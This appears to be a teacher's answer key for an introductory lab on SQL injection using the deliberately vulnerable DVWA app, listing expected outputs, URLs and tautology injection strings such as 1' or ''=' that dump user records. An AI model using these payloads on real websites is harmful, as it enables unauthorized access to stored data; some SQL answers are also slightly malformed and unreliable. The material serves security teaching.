

[Answer key] Introduction to Website Database Vulnerabilities

<p>Task 0*. Did you log in WITHOUT the hint?</p>	<p>Yes or no. Many products, like routers and baby monitors, come with default passwords that most people probably don't bother to change.</p>
<p>Task 1. Choose "SQL Injection". In the text field, enter the number 1 and hit submit. What is the output?</p>	<pre>ID: 1 First name: admin Surname: admin</pre>
<p>Task 2. After completing Task 1, copy the resulting URL from the web browser's location bar, and paste it here.</p>	<p>http://34.197.52.233/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#</p>
<p>Task 3. Modify the URL from task 2 to access different data (from another user). What are the different user names and numbers that have data?</p>	<pre>ID: 2 ID: 3 First name: Jerry First name: hAC Surname: Lawson Surname: ME ID: 4 First name: Margaret Surname: Hamilton ID: 5 First name: Hypatia Surname: Alexandria</pre>
<p>Task 4. Write the SQL query that the webpage issues to the database in Task 2. (Click the link & read the hints for the right syntax).</p>	<p>SELECT user_id, first_name, last_name FROM users WHERE user_id='1';</p>
<p>Nothing so far constitutes a database vulnerability. Let's change that.</p>	
<p>Task 5. Type the following in the User ID box: 1' or ''=' Note that there are two single quotes before the = sign and the keyword or is part of the query.</p> <p>Post the results and the new URL.</p>	<p>http://34.197.52.233/DVWA-master/vulnerabilities/sqli/index.php?id=a%27+or+%27%27%3D%27&Submit=Submit#</p>

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	<pre>ID: '=' First name: admin Surname: istrator ID: '=' First name: Jerry Surname: Lawson ID: '=' First name: hAC Surname: ME ID: '=' First name: Margaret Surname: Hamilton ID: '=' First name: Hypatia Surname: Alexandria ID: '=' First name: william Surname: who</pre>
<p>Task 6. Based on Task 4 come up with the SQL code that would have the same result as in task 5.</p> <p>Hint: It should start with <code>SELECT user_id</code></p>	<pre>SELECT user_id, first_name, last_name FROM users WHERE user_id='1' OR "=";</pre>
<p>Task 7. Modify your answer to Task 6 to receive the same result. (Write another SQL query.) The more different from the original on task 6 you can make it, the better.</p>	<p>Lots of possible answers, like:</p> <pre>SELECT user_id, first_name, last_name FROM users WHERE user_id='a' OR "=";</pre> <pre>SELECT user_id, first_name, last_name FROM users WHERE user_id=" OR 'a'='a';</pre> <pre>SELECT user_id, first_name, last_name FROM users WHERE user_id="=";</pre>
<p>Exit Slip. Based on Task 7, what would you type now in the box on the DVWA site?</p>	<pre>2' or '=' a' or 'b'='b '='</pre>
<p>Explain in your own words what the security vulnerability was, and why the attack worked. Include in your explanation why this is called an SQL injection attack.</p>	<p>Varies.</p>

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